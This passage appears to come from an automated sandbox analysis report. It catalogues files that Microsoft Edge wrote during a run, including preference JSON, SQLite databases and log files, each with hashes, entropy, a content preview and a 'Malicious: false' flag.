MD5:	F961F95875ACBC081B67C94FD0B3AB83
SHA1:	8733C3D18A16797551CFC4548C7D308692A3D502
SHA-256:	0FF0D0DAF9D99C97DCB9DB02668F6B56D26C1A9AC805DCD2DE085D4FCF96DEA4
SHA-512:	04EB92ABB763C54C60BE4A6A3F6EA200CEBBA158F2D775BF50B53728168A165FCF49ECCC2DBC03219A4C17EE39B5C9E1D6E4741B0AFEA8D8AB8A214738EB3007
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d0cb7c70-52f3-477d-90b9-89e9363ede4a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.55500810713201
Encrypted:	false
SSDEEP:	768:ttQBheWME7pLGLPK8W5w1Jf4mS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPXEInUr04:tKLejIcPK8Wa1JfRSu1ja2NCt77GcjPL
MD5:	9F6EAD5F4496D19694A77404F01F727D
SHA1:	B4884F87385BFCF666DB355E0D5A8DF03D1BC4E3
SHA-256:	9AEAFA12D58FE2EFE9CD0A79F29B618E5392C3CB3F4EFF3E88B24F8C545FC4E8
SHA-512:	C7574ABEB7272B8DECE75CD79B897E1BECECC88AA7797FAD8C3BBDAE34F6E7AA12057566A1823469B218D36B67F318C82CBCD80BBE70E7CCC7B6B86BD52A9280
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377176073436202","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377176073436202","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d7c11834-8966-48e4-a1b1-64f5c3850a63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16551), with no line terminators
Category:	dropped
Size (bytes):	16553
Entropy (8bit):	5.447789765033755
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiuabatSuypusfwaFvrE9kPNqlhxK5uglJKiIit8vbV+F5eQweyUdA:stWPGQSu4usfwCD4w5nlkzVbGwQwGG
MD5:	939AF15DCBE4506B547E8C445A26B2D0
SHA1:	01C541A2FDDFDE3A7D65F14EE104A09AD7C681F0
SHA-256:	5555BACA70AC231911CFD1A3EECE81C2AF7699F2A2CE8CB3AEF799411D8672BB
SHA-512:	EA65591C6743FB7FC7331CAD0910C10E6BEC8B188E2AE5CDC3BC758EE6FD364444FC536E8460CAAC09EE58929B919D00372374FE6E4CE5B67E774A8A6B6CC79A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10244805514477882
Encrypted:	false
SSDEEP:	6:Gu0TD0Th89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Uf:+sdspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	C321D10B8FD52B68AB2AC9C6BFA0326D
SHA1:	BC748526F3C4C29594D94D77A242CC776A094E2D
SHA-256:	808F57D123230299BFA422515000FD2FB90622E79465799893D3EFB18AC4774E
SHA-512:	185D07CC24DA2D6DBED3F4EB29F6729B42E38CB1DAFE3E6EB888DBA988E89E1813BBC6FA05E14BE4372A94B080ADA8C3CE3713D32D7F7B99CAC718E2EE749F89
Malicious:	false
Preview:	..-.............M.......&.nl...$J...V..y......i..-.............M.......&.nl...$J...V..y......i........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8893382972034519
Encrypted:	false
SSDEEP:	384:LDs4u7SXROjgpBia6i7vm81Aj4v85yQymiyDy/Mpyuxyvr:If6
MD5:	633293AF6C23CC0E794EC7DAB7BDD20E
SHA1:	3E0ED6ECFA9CEBBCFD296C87001EF85165499861
SHA-256:	2509198336D9898BC66D1A6BFA553E82B6D857BCEE1D380FE6B641F6F5D4C3BF
SHA-512:	83BBFA581AFB0E5B2CE7C84B21F5B36D81B17642C14AD84288592E8C9242F83E4E41A24242547F00D0144BE4C695632FF61E512F1AE80F4E9DDBD8A9CAFB7805
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.235584685100018
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuzlh8An:pHayrNn
MD5:	55AA742DC04535DA8E0D7BC87F27FD6E
SHA1:	BADBBDBD2043FE43D72B91EB19DB83B26729E6C1
SHA-256:	E77A1B9EE1CC089EB1EC49BCD1FC5174F613D74D5EF00F252C3A32E95CD8C85B
SHA-512:	FBC58129843845DE8208955ECC969B8FE9CCD29817AEC1DB9B3D23938A1839AA79019F6E2DB3DF8B0058255E68C9F1C18401582D5348ABBDAE78690E824E16AF
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............I2..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.175531534835985
Encrypted:	false
SSDEEP:	6:HC2uA1N+q2PN723oH+TcwtfrK+IFUt8YCfZmw+YC0dNVkwON723oH+TcwtfrUeLJ:4A+vVaYeb23FUt8t/+W95OaYeb3J
MD5:	D19770E697A11DA0D831E725C3FADB64
SHA1:	92BCF001D6E9A0E3F1ABA4A648306695007320DC
SHA-256:	E3C29C4EF61861F073F13CD34526BBE045CF76EAA40A59954EF558187743EA33
SHA-512:	337927A555093C650BCE37064D96F42D7D1FA19348E8F314AAB12790D8FB725AB9DB8DDF6751F05CBE0A9B41C3A72B8234366CE2A5B19764434C19CFA2C51899
Malicious:	false
Preview:	2024/11/27-05:14:34.140 1e08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-05:14:34.141 1e08 Recovering log #3.2024/11/27-05:14:34.142 1e08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.175531534835985
Encrypted:	false
SSDEEP:	6:HC2uA1N+q2PN723oH+TcwtfrK+IFUt8YCfZmw+YC0dNVkwON723oH+TcwtfrUeLJ:4A+vVaYeb23FUt8t/+W95OaYeb3J
MD5:	D19770E697A11DA0D831E725C3FADB64
SHA1:	92BCF001D6E9A0E3F1ABA4A648306695007320DC
SHA-256:	E3C29C4EF61861F073F13CD34526BBE045CF76EAA40A59954EF558187743EA33
SHA-512:	337927A555093C650BCE37064D96F42D7D1FA19348E8F314AAB12790D8FB725AB9DB8DDF6751F05CBE0A9B41C3A72B8234366CE2A5B19764434C19CFA2C51899
Malicious:	false
Preview:	2024/11/27-05:14:34.140 1e08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-05:14:34.141 1e08 Recovering log #3.2024/11/27-05:14:34.142 1e08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.162646697245705
Encrypted:	false
SSDEEP:	6:HCiFLN+q2PN723oH+TcwtfrzAdIFUt8YCmFUEZmw+YCdNVkwON723oH+TcwtfrzS:XkvVaYeb9FUt8kUE/+bz5OaYeb2J
MD5:	5EB3325151581337C8BB9F3DF054F055
SHA1:	7640F18B0C0F1AFF004158862409FF633C3BD383
SHA-256:	629A4049593CD51BEC7964491C7D28EFE112C156ECAD0D116DD4B81FB773FD34
SHA-512:	522E3B622FB4BD7E9E056371D5833E8F403D944312CAF5C8BDFDCACB11CCD7E3A595536267496992044FDF5A164C366F76D8EE10D21848BC2B4BD2722E4A5704
Malicious:	false
Preview:	2024/11/27-05:14:34.100 1e08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-05:14:34.104 1e08 Recovering log #3.2024/11/27-05:14:34.105 1e08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.162646697245705
Encrypted:	false
SSDEEP:	6:HCiFLN+q2PN723oH+TcwtfrzAdIFUt8YCmFUEZmw+YCdNVkwON723oH+TcwtfrzS:XkvVaYeb9FUt8kUE/+bz5OaYeb2J
MD5:	5EB3325151581337C8BB9F3DF054F055
SHA1:	7640F18B0C0F1AFF004158862409FF633C3BD383
SHA-256:	629A4049593CD51BEC7964491C7D28EFE112C156ECAD0D116DD4B81FB773FD34
SHA-512:	522E3B622FB4BD7E9E056371D5833E8F403D944312CAF5C8BDFDCACB11CCD7E3A595536267496992044FDF5A164C366F76D8EE10D21848BC2B4BD2722E4A5704
Malicious:	false
Preview:	2024/11/27-05:14:34.100 1e08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-05:14:34.104 1e08 Recovering log #3.2024/11/27-05:14:34.105 1e08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a74d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a922.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d003.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41ae7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
